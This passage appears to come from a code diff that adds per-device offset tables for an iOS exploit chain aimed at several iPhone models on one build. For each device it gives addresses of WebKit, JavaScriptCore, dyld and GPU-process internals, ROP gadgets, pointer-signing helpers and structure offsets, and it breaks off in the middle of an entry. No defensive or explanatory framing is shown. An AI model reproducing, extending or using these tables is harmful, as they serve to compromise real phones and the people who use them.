0x1ed883a40n, + WebCore__PAL_getPKContactClass : 0x1ed87aef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8821f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877e40n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,2_22G89": { + __pthread_head : 0x269ae0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f53b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704248n, + free_slabs : 0x1ed7bd9d0n, + gadget_control_1_ios184 : 0x23ed192ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6bf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d68a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d68a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d67f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d68b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cabb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc05870n, + libsystem_c__atexit_mutex : 0x1ed6e2e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e20c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a6ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272178000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876e68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883c38n, + WebCore__initPKContact_value : 0x1ed883c40n, + WebCore__PAL_getPKContactClass : 0x1ed87b0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8823f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878040n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,3_22G89": { + __pthread_head : 0x269ae0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f53b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704248n, + free_slabs : 0x1ed7bd9d0n, + gadget_control_1_ios184 : 0x23ed192ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6bf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d68a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d68a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d67f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d68b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cabb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc05870n, + libsystem_c__atexit_mutex : 0x1ed6e2e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e20c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a6ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272178000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876e68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883c38n, + WebCore__initPKContact_value : 0x1ed883c40n, + WebCore__PAL_getPKContactClass : 0x1ed87b0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8823f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878040n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,4_22G89": { + __pthread_head : 0x2690cc020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f63e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5278n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704108n, + free_slabs : 0x1ed7bd890n, + gadget_control_1_ios184 : 0x23ed152ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6ab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6778n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cab78b4n, + libGPUCompilerImplLazy_cstring : 0x23bc01870n, + libsystem_c__atexit_mutex : 0x1ed6e2d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1f80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25790be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27174c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876d28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883af8n, + WebCore__initPKContact_value : 0x1ed883b00n, + WebCore__PAL_getPKContactClass : 0x1ed87afb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8822d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8822c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8822b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877f00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,5_22G89": { + __pthread_head : 0x2690cc020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f63e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5278n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704108n, + free_slabs : 0x1ed7bd890n, + gadget_control_1_ios184 : 0x23ed152ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6ab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6778n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cab78b4n, + libGPUCompilerImplLazy_cstring : 0x23bc01870n, + libsystem_c__atexit_mutex : 0x1ed6e2d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1f80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25790be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27174c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876d28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883af8n, + WebCore__initPKContact_value : 0x1ed883b00n, + WebCore__PAL_getPKContactClass : 0x1ed87afb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8822d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8822c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8822b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877f00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,6_22G89": { + __pthread_head : 0x26907c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95d70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ec912ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ca338b4n, + libGPUCompilerImplLazy_cstring : 0x23bb7d870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 